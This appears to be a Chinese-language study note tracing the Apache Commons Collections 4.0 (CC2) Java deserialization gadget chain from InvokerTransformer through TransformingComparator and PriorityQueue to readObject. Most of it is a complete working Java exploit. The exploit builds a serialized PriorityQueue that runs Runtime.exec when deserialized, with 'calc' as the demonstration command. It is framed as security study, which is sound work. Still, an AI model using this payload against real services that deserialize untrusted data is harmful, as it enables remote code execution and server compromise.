环境

cc4

<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

分析

由ysoSerial 出口和之前一样InvokerTransformer

跟进TransformingComparator#compare

往上PriorityQueue#siftDownUsingComparator

再往上
PriorityQueue#siftDown
在往上heapify
然后到readObject


于是链子有了
我们尝试写一个payload试试看

注意size最少要2才能进siftDown 所以我们要给priorityQueue add元素
且在add第二个元素的时候会调siftUp, siftUp最后也能到compare
为了避免这种情况我们需要反射赋值TransformingComparator

于是最终代码如下

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {



    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer<Object> chainedTransformer = new ChainedTransformer<>(transformers);
        TransformingComparator<Object, Object> transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue(1,transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(1);


        Field fieldTransformer = TransformingComparator.class.getDeclaredField("transformer");
        fieldTransformer.setAccessible(true);
        fieldTransformer.set(transformingComparator,chainedTransformer);


        serial(priorityQueue);
        unSerial("ser.bin");


    }
    public static void serial(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerial(String path) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}